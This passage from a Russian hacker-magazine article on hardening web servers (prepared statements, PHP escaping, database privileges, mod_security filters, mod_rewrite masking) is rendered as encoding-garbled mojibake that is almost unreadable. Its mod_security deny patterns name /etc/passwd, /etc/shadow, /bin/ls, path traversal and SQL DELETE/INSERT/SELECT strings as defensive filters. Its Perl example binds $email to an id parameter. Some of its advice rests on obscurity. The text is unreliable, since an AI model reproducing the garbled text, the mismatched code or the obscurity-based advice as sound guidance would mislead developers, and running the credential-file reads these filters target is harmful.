ââîäèòü òîëüêîîïðåäåëåííûå òåãè, à îñòàëüíûå îòñåèâàòü. Òîò æåïðèìåð áóäåò òåïåðü âûãëÿäåòü òàê:


37BBcode$s = strip_tags($s, "");Õî÷ó ñðàçó ïðåäóïðåäèòü, ÷òî ïîäîáíûé âàðèàíò —íå ïàíàöåÿ: íåêîòîðûå ôîðóìû, èñïîëüçóþùèåBBcode, áûëè óñïåøíî âçëîìàíû ïðè ïîìîùè XSS.áàçà äàííûõ: ñïåöèôèêà. Åñòü íåñêîëüêî ñîâåòîâ,êîòîðûå ìîæíî äàòü òåì, êòî àêòèâíî èñïîëüçóåòáàçû äàííûõ. Âî-ïåðâûõ, ìîæíî èñïîëüçîâàòüïðåïàðèðîâàííûå çàïðîñû, êîòîðûå ïîääåðæèâàþòñÿáîëüøèíñòâîì áèáëèîòåê äëÿ ðàáîòû ñ áàçàìèäàííûõ. Íà Ïåðëå ñîçäàíèå è èñïîëíåíèå òàêîãîçàïðîñà âûãëÿäèò ïðèìåðíî òàê:Perl$st = $db->prepare("SELECT user_nameFROM users WHERE id = ?;");$st->execute($email);Ïåðâàÿ ñòðîêà ôîðìèðóåò çàïðîñ è ïîñûëàåò åãî íàñåðâåð, ãäå îí êîìïèëèðóåòñÿ. Îáðàòè âíèìàíèå íàòîò ôàêò, ÷òî ïàðàìåòð id çàìåíåí çíàêîì âîïðîñà èáóäåò ïîäñòàâëåí ïðè èñïîëíåíèè. Âòîðàÿ ñòðîêàïðîñòî ïåðåäàåò ïàðàìåòð äëÿ çàïðîñà, êîòîðûé óæåíå ïàðñèòñÿ ñèêâåëîì, à ïðîñòî ñ÷èòàåòñÿ äàííûìè.Òàáëèöà 1ÍàçâàíèåÎïèñàíèåstring addslashes ( string str )äîáàâëÿåò ê ñèìâîëàì àïîñòðîôà, êàâû÷êàì,îáðàòíîìó ñëåøó è íóëåâîìó áàéòó ñëåøstring quotemeta ( string str ) äîáàâëÿåò ñëåø ê ñèìâîëàì . \ + * ? [ ^ ] ( $ )string htmlspecialchars ( string string ) ïåðåâîäèò â HTML-ñóùíîñòè àìïåðñàíä, êàâû÷êè,àïîñòðîô, çíàêè «áîëüøå» è «ìåíüøå»string htmlentities ( string string ) àíàëîã htmlspecialchars, íî èñïîëüçóåòHTML-ñóùíîñòè (ýíòèòèñû)string mysql_real_escape_stringýêðàíèðóåò ñòðîêó äëÿ èñïîëüçîâàíèÿ( string unescaped_string ) â mysql_queryÑîâåò íîìåð äâà áóäåò êàñàòüñÿ õðàíèìûõ ïðîöåäóðè òðèããåðîâ. Íà äàííûé ìîìåíò âñå ñîâðåìåííûåñåðâåðû áàç äàííûõ ïîääåðæèâàþò òàêóþôóíêöèîíàëüíîñòü (MySQL íà÷èíàÿ ñ ïÿòîé âåðñèè).Íàïîìíþ, ÷òî õðàíèìàÿ ïðîöåäóðà — ýòîñêîìïèëèðîâàííûé çàïðîñ íà ñåðâåðå, êîòîðîìóïðè èñïîëíåíèè ìîãóò ïåðåäàâàòüñÿ ïàðàìåòðû.À òðèããåð — ýòî ñïåöèàëüíàÿ õðàíèìàÿ ïðîöåäóðà,êîòîðàÿ âûïîëíÿåòñÿ ïðè îïðåäåëåííîì ñîáûòèè,íàïðèìåð, ïðè óäàëåíèè çàïèñè èç ÁÄ. Èñïîëüçîâàíèåýòèõ ìåõàíèçìîâ íå òîëüêî óâåëè÷èò ïðîèçâîäèòåëüíîñòüïðèëîæåíèÿ, íî è ïîâûñèò åãî çàùèùåííîñòü.outro.  ýòîé ñòàòüå ÿ ïðèâåë äîñòàòî÷íî ìíîãîñïîñîáîâ çàùèòû. ×òîáû âûáðàòü ïîäõîäÿùèéíàáîð ìåòîäîâ, íåîáõîäèìî òùàòåëüíî ïîäóìàòü,íàñêîëüêî ìîùíàÿ ñèñòåìà áåçîïàñíîñòè íóæíà òåáåíà ñàéòå, èíà÷å òâîè âûñîêèå ñòåíû íå ñìîæåòïðåîäîëåòü íå òîëüêî âçëîìùèê, íî è îáû÷íûéïîëüçîâàòåëü.


38 /67 ÎØÈÁÊÈÌÎËÎÄÎÑÒÈ38 ÂÎÊÐÓà ÇÀÏÐÅÒÎÂ46 ÇÀÏÀÕ ÏÐÎÏÀÑÒÈ50 ÊËÞ× ÊÎ ÌÍÎÃÈÌ ÄÂÅÐßÌ54 ÆÅÑÒÎÊÀß ÏÐÀÂÄÀ58 ØÀÌÀÍÑÊÈÅ ÄÅËÀ62 ÁÅÇÛÃÎËÜÍÛÉ ÈÍÚÅÊÒÎÐâîêðóãçàïðåòîâÊàê çàùèòèòü âåá-ñåðâåðÍÀ 100% ÁÅÇÎÏÀÑÍÛÉ ÑÀÉÒ ÑÄÅËÀÒÜ ÑËÎÆÍÎ ÄÀÆÅ ÏÐÎÔÅÑÑÈÎÍÀËÓ. À ÅÑËÈ ×ÅÐÅÇÄÛÐÓ Â ÊÀÊÎÌ-ÍÈÁÓÄÜ ÑÀÉÒÅ ÂÇËÎÌÀÞÒ ÂÅÑÜ ÑÅÐÂÅÐ, ÒÎ ÝÒÎ ÁÓÄÅÒ ÑÅÐÜÅÇÍÀßÏÐÎÁËÅÌÀ È ÓÄÀÐ ÏÎ ÏÐÅÑÒÈÆÓ ÕÎÑÒÅÐÀ. ×ÒÎ ÄÅËÀÒÜ ÕÎÑÒÈÍÃÎÂÛÌ ÊÎÌÏÀÍÈßÌ,×ÒÎÁÛ ÇÀÙÈÒÈÒÜ ÑÅÁß È ÑÂÎÈÕ ÊËÈÅÍÒÎÂ? ÐÀÑÑÌÎÒÐÈÌ «ÑÐÅÄÑÒÂÀ ËÈ×ÍÎÉÃÈÃÈÅÍÛ», ÊÎÒÎÐÛÅ ÑÏÀÑÓÒ ÎÒ ÍÅÇÀÏËÀÍÈÐÎÂÀÍÍÛÕ ÑÈÒÓÀÖÈÉ È ÏÎÂÛÑßÒÈÌÌÓÍÈÒÅÒ Ê ÇËÎÓÌÛØËÅÍÍÈÊÀÌÔëåíîâ Ìèõàèë àka Horrificwww.vr-online.ru×òîáû ìèêðîáîâ íå áûëî âî ðòó, èñïîëüçóþò çóáíóþïàñòó. À ÷òî ïðèìåíèòü äëÿ çàùèòû îò «ìèêðîáîâ»web-ñåðâåðà? Ïðîñòûì ðåøåíèåì, ê ñîæàëåíèþ,íå îáîéòèñü: íåîáõîäèì öåëûé êîìïëåêñ ìåð, ïîçâîëÿþùèõïîñòðîèòü ýôôåêòèâíóþ çàùèòó.Ïî÷åìó èìåííî êîìïëåêñ? Äåëî â òîì, ÷òî äîëæíîáûòü íåñêîëüêî óðîâíåé çàùèòû. Îäèí óðîâåíüâñåãäà ìîæåò äàòü ñáîé:— ÌÎÃÓÒ ÍÀÉÒÈ ÄÛÐÓ;— ÌÎÆÍÎ ÎØÈÁÈÒÜÑß Â ÍÀÑÒÐÎÉÊÀÕ;— ÌÎÃÓÒ ÎÁÎÉÒÈ ÎÄÈÍ ÓÐÎÂÅÍÜ ÇÀÙÈÒÛ. õîðîøî ïðîäóìàííîé ñèñòåìå, äàæå åñëè â ñöåíàðèèáóäåò îøèáêà, õàêåð íå ñìîæåò äàëåêî ïðîäâèíóòüñÿ.Ïðàâèëüíàÿ íàñòðîéêà ñåðâåðà, ðàñïðåäåëåíèåïðàâ â áàçå äàííûõ, ïîñòîÿííûé ìîíèòîðèíãè íåêîòîðûå äðóãèå äåéñòâèÿ ïîçâîëÿþò çàùèòèòüñåðâåð äàæå ïðè íàëè÷èè (à îíè êîãäà-íèáóäü îáÿçàòåëüíîâñïëûâóò) îøèáîê â áåçîïàñíîñòè.Íàñòðîéêó ñåðâåðà ìîæíî óñëîâíî ðàçäåëèòüíà äâå ÷àñòè:1 ÒÙÀÒÅËÜÍÎÅ ÊÎÍÔÈÃÓÐÈÐÎÂÀÍÈÅÑÅÐÂÅÐÀ È ÎÒÊÐÛÒÛÕ ÑÅÐÂÈÑÎÂ.2 ÓÑÒÀÍÎÂÊÀ ÄÎÏÎËÍÈÒÅËÜÍÎÃÎÑÎÔÒÀ ÄËß ÌÎÍÈÒÎÐÈÍÃÀ È ÑÎÇÄÀÍÈßÄÎÏÎËÍÈÒÅËÜÍÛÕ ÓÐÎÂÍÅÉ ÇÀÙÈÒÛ.êîíôèãóðèðîâàíèå ñåðâåðà. Âñå íà÷èíàåòñÿñ êîíôèãóðèðîâàíèÿ ñåðâåðà. Ïîñëå óñòàíîâêè ÎÑâñå ïàðàìåòðû óñòàíîâëåíû ïî óìîë÷àíèþ, òî åñòüòàê, êàê ïîñ÷èòàë ïðàâèëüíûì óñòàíîâèòü èõ ðàçðàáîò÷èêäèñòðèáóòèâà. Òåáå æå íåîáõîäèìî ïðîñìîòðåòüâñå ïàðàìåòðû: âêëþ÷èòü âñå, ÷òî íóæíî, è —ñàìîå ãëàâíîå — çàïðåòèòü òî, ÷òî íå áóäåøü èñïîëüçîâàòü.Ëó÷øå ïðîñìàòðèâàòü àáñîëþòíî âñåïàðàìåòðû, îñîáåííî åñëè òû óñòàíàâëèâàåøüLinux-ñåðâåð. Äåëî â òîì, ÷òî, â çàâèñèìîñòèîò äèñòðèáóòèâà, íàñòðîéêè â êîíôèãóðàöèîííûõôàéëàõ ìîãóò î÷åíü ñèëüíî îòëè÷àòüñÿ. Òû ìîæåøüäóìàòü, ÷òî êàêîå-òî äåéñòâèå çàïðåùåíî, à ðàçðàáîò÷èêêîíêðåòíîãî äèñòðèáóòèâà èëè íîâîé âåðñèèÿäðà ïîñ÷èòàåò èíà÷å è èçìåíèò êîíôèãóðàöèþ.Ñïëîøü è ðÿäîì âñòðå÷àåòñÿ, ÷òî â íîâûõ âåðñèÿõ


40 ÎØÈÁÊÈ ÌÎËÎÄÎÑÒÈ ÑÏÅÖ 02-07Ìîäóëü mod_securityÎÑ èëè ÿäðà êàêèå-òî ïàðàìåòðû ñòàíîâÿòñÿ ðåêîìåíäóåìûìèê èñïîëüçîâàíèþ, à êàêèå-òî, íàîáîðîò,âûõîäÿò èç îáðàùåíèÿ. Íåîáõîäèìî îòñëåæèâàòüòåíäåíöèè è êîíòðîëèðîâàòü êîíôèãóðàöèþ.áàçà äàííûõ. Ñëåäóþùèé óðîâåíü çàùèòû —ïðàâà äîñòóïà ê áàçå äàííûõ è ôàéëîâîé ñèñòåìå.Áàçà äàííûõ — îäíîâðåìåííî âàæíîå õðàíèëèùåè îñíîâíàÿ ëàçåéêà äëÿ àòàêè SQL Injection ïðè ïðîíèêíîâåíèèíà ñåðâåð è ñáîðå èíôîðìàöèè. Ïîýòîìóñöåíàðèè íå äîëæíû ðàáîòàòü îò èìåíè ïðèâèëåãèðîâàííîãîïîëüçîâàòåëÿ. Ó÷åòíàÿ çàïèñü äîëæíàèìåòü òîëüêî òå ïðàâà, êîòîðûå åé íåîáõîäèìûäëÿ ðàáîòû ñöåíàðèÿ, è íè ãðàììà áîëüøå.Ëþáîé íåñàíêöèîíèðîâàííûé äîñòóï ê ñèñòåìíîéèíôîðìàöèè äîëæåí çàïðåùàòüñÿ.  99%ñëó÷àåâ ïðè ðàáîòå ñ MySQL-ñöåíàðèÿì íå íóæåíäîñòóï ê ñèñòåìíîé áàçå MySQL, ãäå õðàíèòñÿ âñÿèíôîðìàöèÿ î ïîëüçîâàòåëÿõ, ïðàâàõ äîñòóïàõ èîáúåêòàõ ñåðâåðà áàç äàííûõ. Äîñòóïà íå äîëæíîáûòü íå òîëüêî íà çàïèñü èëè îáíîâëåíèå, íî è íàïðîñìîòð äàííûõ. Î÷åíü ÷àñòî äàæå ïðîñìîòð ñèñòåìíûõäàííûõ ìîæåò äàòü õàêåðó ìàññó âàæíîéäëÿ áåçîïàñíîñòè èíôîðìàöèè.Ïðè ðàáîòå ñ áàçîé äàííûõ MS SQL Serveráîëüøèíñòâî ïðîãðàììèñòîâ èñïîëüçóþò óæå ñóùåñòâóþùóþïî óìîë÷àíèþ ðîëü public.  ýòîì èçàêëþ÷àåòñÿ îøèáêà, âåäü ýòîé ðîëè äîñòóïíî ìíîãîå.Ëó÷øåå ïðàâèëî — íèêîãäà íå èñïîëüçóé ãîòîâîå,à ñîçäàâàé ñîáñòâåííóþ ðîëü è ïîëüçîâàòåëÿ.ìîäóëè web-ñåðâåðà. Ñëåäóþùèé ýòàï îáåñïå÷åíèÿáåçîïàñíîñòè — ìîäóëè äëÿ Apache.Îíè ïîçâîëÿþò ïîñòðîèòü ýôôåêòèâíóþ çàùèòó îòàòàê òèïà SQL Injection, XSS è ìíîãèõ äðóãèõ.Íî ïðîñòî óñòàíîâèòü ìîäóëü — íå çíà÷èò ðåøèòüâñå ïðîáëåìû. Íóæíî ãðàìîòíîå êîíôèãóðèðîâàíèåè çàïðåò âñåãî, ÷òî ìîæåò íàíåñòè âðåä ñåðâåðó.mod_sequrity. Íåñìîòðÿ íà òî, ÷òî áåçîïàñíîñòüweb-ñåðâåðà â îñíîâíîì çàâèñèò îò ñöåíàðèåâ,êîòîðûå âûïîëíÿþòñÿ íà ñåðâåðå, è ïðîãðàììèñòîâ,êîòîðûå ïèøóò ýòè ñöåíàðèè, åñòü âîçìîæíîñòüçàùèòèòü ñåðâåð, íå îáðàùàÿ íà íèõ âíèìàíèÿ. ýòîì ïîìîæåò áåñïëàòíûé ìîäóëü äëÿ Apachemod_security. Ïðèíöèï ðàáîòû ìîäóëÿ ñõîæ ñ ñåòåâûìýêðàíîì, êîòîðûé âñòðîåí â ÎÑ, òîëüêî â äàííîìñëó÷àå îí ñïåöèàëüíî ðàçðàáîòàí äëÿ ðàáîòûñ ïðîòîêîëîì HTTP. Ìîäóëü àíàëèçèðóåò çàïðîñûïîëüçîâàòåëåé è âûíîñèò ñâîå ðåøåíèå î âîçìîæíîñòèïðîïóñòèòü çàïðîñ ê web-ñåðâåðó èëè îòêàçåíà îñíîâå ïðàâèë, êîòîðûå çàäàåò àäìèíèñòðàòîð.Ïðàâèëà îïðåäåëÿþò, ÷òî ìîæåò áûòü â çàïðîñå,à ÷òî íåò. çàïðîñàõ, êîòîðûå ïîëüçîâàòåëü îòïðàâëÿåòíà ñåðâåð, ñîäåðæèòñÿ URL-àäðåñ, ñ êîòîðîãî íåîáõîäèìîâçÿòü äîêóìåíò èëè ôàéë. ×òî ìîæíî çàäàòüâ ïðàâèëàõ ìîäóëÿ, ÷òîáû ñåðâåð ñòàë áåçîïàñíåå?Ðàññìîòðèì íåñêîëüêî íåñëîæíûõ ïðèìåðîâ.1  ÑÒÐÎÊÅ URL ÍÅ ÄÎËÆÍÎ ÁÛÒÜ ÍÈ-ÊÀÊÈÕ ÎÁÐÀÙÅÍÈÉ Ê ÔÀÉËÓ /ETC/PASS-WD, À ÇÍÀ×ÈÒ, ÏÓÒÈ Ê ÝÒÎÌÓ ÔÀÉËÓÍÅ ÄÎËÆÍÛ ÁÛÒÜ Â URL-ÀÄÐÅÑÅ.2 ×ÅÐÅÇ URL ÍÅ ÄÎËÆÅÍ ÏÅÐÅÄÀÂÀÒÜ-Ñß ÊÎÄ JAVASCRIPT, ÝÒÎ ÑÅÐÜÅÇÍÀßÎØÈÁÊÀ. ÒÀÊÈÅ ÂÅÙÈ ÍÓÆÍÎ ÏÅÐÅÄÀ-ÂÀÒÜ ÌÅÒÎÄÎÌ POST. ÅÑËÈ ÇÀÏÐÅÒÈÒÜ È ÏÐÎÈÇÂÎÄÍÛÅ, ÒÎ ÌÎÆÍÎÎÁËÅÃ×ÈÒÜ ÑÅÁÅ ÆÈÇÍÜ. ÍÎ ÒÎËÜÊÎÎÁËÅÃ×ÈÒÜ, ÒÀÊ ÊÀÊ ÅÑÒÜ ÊÓ×À ÏÐÎÈÇ-ÂÎÄÍÛÕ, ÏËÞÑ ÊÎÄÈÐÎÂÀÍÈÅ ÑÎÄÅÐ-ÆÈÌÎÃÎ ÑÒÐÎÊÈ. ÕÀÊÅÐ ÌÎÆÅÒ ÇÀÌÓ-ÒÈÒÜ ÒÀÊÎÉ ÇÀÏÐÎÑ, ÊÎÒÎÐÛÉ ÎÁÎÉ-ÄÅÒ ÔÈËÜÒÐÛ, ÍÎ ÓÑËÎÆÍÈÒÜ ÅÌÓÆÈÇÍÜ ÒÛ ÏÐÎÑÒÎ ÎÁßÇÀÍ.3  URL ÍÅ ÄÎËÆÍÎ ÁÛÒÜ ÎÄÈÍÀÐÍÎÉÊÀÂÛ×ÊÈ, À ÂÑÅ ÏÀÐÀÌÅÒÐÛ, ÏÅÐÅÄÀ-ÂÀÅÌÛÅ ÑÖÅÍÀÐÈÞ, ÏÐÈ ÈÑÏÎËÜÇÎÂÀ-ÍÈÈ Â ÇÀÏÐÎÑÀÕ ÎÁßÇÀÒÅËÜÍÎ ÄÎËÆ-ÍÛ ÁÛÒÜ ÇÀÊËÞ×ÅÍÛ Â ÎÄÈÍÀÐÍÛÅÊÀÂÛ×ÊÈ.Ìîäóëü mod_security ïðîâåðÿåò íà îñíîâå çàäàííûõôèëüòðîâ àäðåñ URL, è åñëè îí íàðóøàåò ïðàâèëà,òî çàïðîñ îòêëîíÿåòñÿ. Ñàì ìîäóëü ìîæíî âçÿòüñ ñàéòà www.modsecurity.org. Ïîñëå óñòàíîâêè â ôàéëåhttpd.conf ìîæíî áóäåò èñïîëüçîâàòü äîïîëíèòåëüíûåäèðåêòèâû:— SECFILTERENGINE ONÂÊËÞ×ÈÒÜ ÐÅÆÈÌ ÔÈËÜÒÐÀÖÈÈÇÀÏÐÎÑÎÂ;— SECFILTERCHECKURLENCODING ONÏÐÎÂÅÐßÒÜ ÊÎÄÈÐÎÂÊÓ;— SECFILTERFORCEBYTERANGE 32 126ÐÀÇÐÅØÀÒÜ ÈÑÏÎËÜÇÎÂÀÍÈÅ ÑÈÌÂÎ-ËÎÂ Ñ ÊÎÄÀÌÈ ÒÎËÜÊÎ ÈÇ ÓÊÀÇÀÍÍÎ-ÃÎ ÄÈÀÏÀÇÎÍÀ.Ñèìâîëû, êîäû êîòîðûõ ìåíåå 32, ïðèíàäëåæàò ñëóæåáíûìñèìâîëàì òèïà ïåðåâîäà êàðåòêè èëè êîíöàñòðîêè. Áîëüøèíñòâî èç ýòèõ ñèìâîëîâ íåâèäèìû, íîäëÿ íèõ ñóùåñòâóþò êîäû, ÷òîáû ìîæíî áûëî îáðàáàòûâàòüíàæàòèÿ ñîîòâåòñòâóþùèõ êëàâèø íà êëàâèàòóðå.Òî åñòü õàêåð íå ìîæåò ââåñòè íåâèäèìûéñèìâîë â URL, íî âïîëíå ìîæåò ââåñòè åãî êîä. Íàïðèìåð,÷òîáû óêàçàòü ñèìâîë ñ êîäîì 13, íåîáõîäèìîóêàçàòü â URL àäðåñå «%13». Ñèìâîëû ìåíåå 32è áîëåå 126 ÿâëÿþòñÿ íåäîïóñòèìûìè äëÿ àäðåñà,ïîýòîìó âïîëíå ëîãè÷íî èõ îòñåêàòü åùå äî îáðàáîòêèweb-ñåðâåðîì.— SECAUDITLOG LOGS/AUDIT_LOGÑ ÏÎÌÎÙÜÞ ÝÒÎÃÎ ÏÀÐÀÌÅÒÐÀ ÇÀÄÀ-ÅÒÑß ÔÀÉË ÆÓÐÍÀËÀ,  ÊÎÒÎÐÎÌ ÁÓ-ÄÅÒ ÑÎÕÐÀÍßÒÜÑß ÈÍÔÎÐÌÀÖÈßÎÁ ÀÓÄÈÒÅ;— SECFILTERDEFAULTACTION«DENY,LOG,STATUS:406» — ÏÀÐÀÌÅÒÐÇÀÄÀÅÒ ÄÅÉÑÒÂÈÅ ÏÎ ÓÌÎË×À-ÍÈÞ ( ÄÀÍÍÎÌ ÑËÓ×ÀÅ ÓÊÀÇÀÍÏÎ ÓÌÎË×ÀÍÈÞ ÇÀÏÐÅÒ — DENY);— SECFILTER XXX REDIRECT:HTTP://WWW.WEBKREATOR.COM — ÅÑËÈÔÈËÜÒÐ ÑÐÀÁÀÒÛÂÀÅÒ, ÒÎ ÏÎËÜÇÎÂÀ-ÒÅËÜ ÏÅÐÅÀÄÐÅÑÓÅÒÑß ÍÀ ÑÀÉÒHTTP://WWW.WEBKREATOR.COM;— SECFILTER YYY LOG,EXEC:/HOME/APACHE/REPORT-AT-TACK.PL — ÅÑËÈ ÔÈËÜÒÐ ÑÐÀÁÀÒÛÂÀÅÒ,ÒÎ ÁÓÄÅÒ ÂÛÏÎËÍÅÍ ÑÖÅÍÀÐÈÉ/HOME/APACHE/REPORT-ATTACK.PL;— SECFILTER /ETC/PASSWORD ÇÀÏÐÎÑÅ ÏÎËÜÇÎÂÀÒÅËß ÍÅ ÄÎËÆÍÎJail óïðîùàåò ñîçäàíèå èíäèâèäóàëüíîãî îêðóæåíèÿ


41ÁÛÒÜ ÎÁÐÀÙÅÍÈß Ê ÔÀÉËÓ/ETC/PASSWD (ÒÀÊÈÌ ÆÅ ÎÁÐÀÇÎÌÑËÅÄÓÅÒ ÄÎÁÀÂÈÒÜ ÇÀÏÐÅÒÍÀ ÎÁÐÀÙÅÍÈÅ Ê ÔÀÉËÓ /ETC/SHADOW);— SECFILTER /BIN/LS ÇÀÏÐÎÑÅ ÏÎËÜÇÎÂÀÒÅËß ÍÅ ÄÎËÆÍÎÁÛÒÜ ÎÁÐÀÙÅÍÈß Ê ÏÐÎÃÐÀÌÌÀÌ( ÄÀÍÍÎÌ ÑËÓ×ÀÅ ÇÀÏÐÅÙÀÅÒÑßÊÎÌÀÍÄÀ LS, ÊÎÒÎÐÀß ÌÎÆÅÒ ÏÎÇÂÎ-ËÈÒÜ ÕÀÊÅÐÓ ÓÂÈÄÅÒÜ ÑÎÄÅÐÆÈÌÎÅÊÀÒÀËÎÃÎÂ, ÅÑËÈ Â ÑÖÅÍÀÐÈÈ ÅÑÒÜÎØÈÁÊÀ), ÑÒÎÈÒ ÇÀÏÐÅÒÈÒÜÎÁÐÀÙÅÍÈß Ê ÒÀÊÈÌ ÊÎÌÀÍÄÀÌ ÊÀÊCAT, RM, CP, FTP È ÄÐÓÃÈÌ;— SECFILTER «\.\./»ÊËÀÑÑÈ×ÅÑÊÀß ÀÒÀÊÀ, ÊÎÃÄÀ URL ÓÊÀÇÛÂÀÞÒÑß ÑÈÌÂÎËÛÒÎ×ÅÊ, ÏÎÝÒÎÌÓ ÈÕ ÒÀÌ ÁÛÒÜÍÅ ÄÎËÆÍÎ;— SECFILTER «DELETE[[:SPACE:]]+FROM»ÇÀÏÐÅÒ ÒÅÊÑÒÀ DELETE … FROM,×ÒÎ ×ÀÙÅ ÂÑÅÃÎ ÈÑÏÎËÜÇÓÅÒÑß SQL-ÇÀÏÐÎÑÀÕ ÄËß ÓÄÀËÅÍÈßÄÀÍÍÛÕ.Ïîìèìî ýòîãî ðåêîìåíäóåòñÿ óñòàíîâèòü ñëåäóþùèåòðè ôèëüòðà:1 SECFILTER «INSERT[[:SPACE:]]+INTO»ÈÑÏÎËÜÇÓÅÒÑß Â SQL-ÇÀÏÐÎÑÀÕÄËß ÄÎÁÀÂËÅÍÈß ÄÀÍÍÛÕ.2 SECFILTER «SELECT.+FROM»ÈÑÏÎËÜÇÓÅÒÑß Â SQL-ÇÀÏÐÎÑÀÕÄËß ×ÒÅÍÈß ÄÀÍÍÛÕ ÈÇ ÁÀÇÛ.3 SECFILTER «» È SECFILTER«


42 ÎØÈÁÊÈ ÌÎËÎÄÎÑÒÈ ÑÏÅÖ 02-07Ñõåìà ðàáîòû mod_rewrite÷åðåç ïàðàìåòð id. Òî åñòü ðåàëüíûé URL äëÿ ïðîñìîòðàíîâîñòè ïîä íîìåðîì 1 áóäåò âûãëÿäåòü òàê:http://www.òâîé_ñåðâåð.ru/news.php?id=1×òîáû õàêåð íå âèäåë ýòîãî, äåëàåì ñëåäóþùóþìàñêèðîâêó:RewriteRule ^news_([0-9]*).htmnews.php?id=$1Òåïåðü äëÿ ïðîñìîòðà íîâîñòè íåîáõîäèìî áóäåòíàáðàòü â URL:http://www.òâîé_ñåðâåð.ru/news_1.html ñàìîì íà÷àëå ñòîèò ñèìâîë êðûøè. Íåò, ýòîíå áàíäèòû, êîòîðûå áóäóò ïðåäîñòàâëÿòü íàì êðûøó,ýòî òàêîé ñèìâîë (^), îáîçíà÷àþùèé íà÷àëîñòðîêè :). Ïîñëå ýòîãî èäåò òåêñòîâàÿ ñòàòè÷åñêàÿ÷àñòü (news_), êîòîðàÿ áóäåò âûäåëÿòü øàáëîí èçìàññû äðóãèõ. Âåäü íà ñàéòå ìîãóò áûòü åùåè ñòàòüè, è ôîðóì, è åùå ìíîãî ÷åãî èíòåðåñíîãî.Çàòåì â ñêîáî÷êàõ óêàçûâàåì øàáëîí òîãî, ÷òî ìîæåòáûòü â ýòîì ìåñòå URL-àäðåñà. Òàê êàê èäåíòèôèêàòîðíîâîñòè — ýòî ÷èñëî, òî øàáëîí âûãëÿäèòòàê: [0-9] — ëþáûå ñèìâîëû îò íóëÿ äî äåâÿòè, ïîñëåñòîèò çâåçäî÷êà, êîòîðàÿ ãîâîðèò, ÷òî öèôð ìîæåòáûòü íåñêîëüêî. Ïîñëå øàáëîíà ñíîâà èäåò ñòàòè÷åñêàÿ÷àñòü:news.php?id=$1 — âî ×òî íóæíî ïðåâðàòèòüâèðòóàëüíûé àäðåñ, $1 — ñîîòâåòñòâóåòçíà÷åíèþ, âûðåçàííîìó ïî ïåðâîìóøàáëîíó (ó íàñ îí åäèíñòâåííûé)Áëàãîäàðÿ øàáëîíó óáèâàåì äâóõ çàéöåâ, è åùå îäíîãîðàçðûâàåì â êëî÷üÿ :). Ïåðâûé çàÿö çàêëþ÷àåòñÿâ òîì, ÷òî ìû ïðÿ÷åì ðåàëüíûé PHP-ñöåíàðèé.Âòîðîé çàÿö — ýòî òî, ÷òî õàêåð íå âèäèò èìÿ ïàðàìåòðà.Íó, à òðåòèé çàÿö, êîòîðîãî ïðîñòî ïîðâàëî— ýòî òî, ÷òî õàêåð íå ñìîæåò ïåðåäàòü ñöåíàðèþíè÷åãî, êðîìå ÷èñåë. Øàáëîí [0-9] âûðåçàåòëþáûå áóêâû è ñèìâîëû, à çíà÷èò, èíúåêöèÿ ñòàíîâèòñÿíåâîçìîæíîé.Íî åñëè õàêåð âû÷èñëèò ðåàëüíûé ñöåíàðèé èåãî ïàðàìåòð, òî ìû íå òî ÷òî çàéöåâ íå óáüåì, ìûäàæå ìóõó íå èñïóãàåì! Îáðàòèâøèñü ê news.phpíàïðÿìóþ, õàêåð îáõîäèò âñå ïðàâèëà mod_rewrite.×òîáû õàêåð íå ñìîã îáðàòèòüñÿ ê ôèçè÷åñêèìôàéëàì íà ñåðâåðå, ìîæíî âûïîëíèòü îäíî èçñëåäóþùèõ óñëîâèé:1 ÇÀÏÐÅÒÈÒÜ ÏÐßÌÎÉ ÄÎÑÒÓÏ ÊPHP-ÑÖÅÍÀÐÈßÌ, ×ÒÎÁÛ ÕÀÊÅÐÓÏÐÈØËÎÑÜ ÈÑÏÎËÜÇÎÂÀÒÜ ÂÈÐÒÓÀËÜ-ÍÓÞ ÏÛËÜ, ÊÎÒÎÐÓÞ ÌÛ ÍÀÏÓÑÒÈËÈ.2 ÍÈÊÎÃÄÀ ÍÅ ÍÀÇÛÂÀÒÜ ÑÖÅÍÀÐÈÈÏÎÍßÒÍÛÌÈ ÈÌÅÍÀÌÈ.Ãëàâíàÿ ñòðàíèöà íèêîãäà íå äîëæíà èìåòü èìÿ index.phpèëè main.php, íàçîâè åå ëó÷øå enter_to_my_private.phpèëè åùå ïîçàáîðèñòåé. Çà íîâîñòè íå äîëæåíîòâå÷àòü ñöåíàðèé news.php, åãî ëó÷øå íàçâàòümy_99545_news.php. Òà æå ïåñíÿ è ñ ïàðàìåòðàìè— çàáóäü ïðî id, sid, index, start, page è ò.ä. È,êîíå÷íî æå, íà mod_rewrite íàäåéñÿ, à ñàì íå ïëîøàé.Ïðîâåðÿé âñå â ñöåíàðèè ñîáñòâåííîðó÷íî,÷òîáû ïðåäîòâðàòèòü àòàêè. Ýòî, êàê ãîâîðèòñÿ, áåçêîììåíòàðèåâ è äîëæíî âûïîëíÿòüñÿ âíå çàâèñèìîñòèîò óñòàíîâëåííûõ äîïîëíèòåëüíûõ ñðåäñòâêîíòðàöåïöèè.Âûøå ìû ðàññìîòðåëè ïðîñòîé ïðèìåð ñ íîâîñòÿìè,êîãäà ÷åðåç ïàðàìåòðû ïåðåäàåòñÿ ÷èñëî.À ÷òî åñëè íóæíî ïåðåäàâàòü ñòðîêó? Äà áåç ïðîáëåì,ïðîñòî ïèøåøü ñëåäóþùèé øàáëîí:RewriteRule ^news_([a-z0-9]*).htmnews.php?id=$1Ýòîò øàáëîí ïîçâîëÿåò ïåðåäàâàòü íå òîëüêî ÷èñëà,íî è áóêâû îò a äî z. Ýòî òîæå íå îïàñíî, ãëàâíîå— íå ðàçðåøàòü èñïîëüçîâàòü ñèìâîëû îäèíàðíîéêàâû÷êè, çàïÿòûå, òèðå è ò.ï. Áóêâû è öèôðûíå íåñóò â ñåáå òàêîé îïàñíîñòè, êàê ñèìâîëû.èòîãî. Ïðè ïðàâèëüíîì êîíôèãóðèðîâàíèè ñåðâåðàè ñ ïîìîùüþ äîïîëíèòåëüíûõ ìîäóëåé ìîæíîçàùèòèòüñÿ äàæå îò óæàñíûõ ñöåíàðèåâ, êîòîðûåïðîñòî êèøàò îøèáêàìè SQL Injection èëè XSS. Åñëèñåðâåð âñå æå âçëîìàëè, òî âèíîâàò íå òîëüêî ïðîãðàììèñò,íî è àäìèíèñòðàòîð.Ñ äðóãîé ñòîðîíû, ïðîãðàììèñò íå äîëæåííàäåÿòüñÿ íà àäìèíà, ÷òî òîò íàñòðîèò ñåðâåð ìàêñèìàëüíîáåçîïàñíî. À àäìèíèñòðàòîð, â ñâîþ î÷åðåäü,íå äîëæåí óïîâàòü íà êîä è 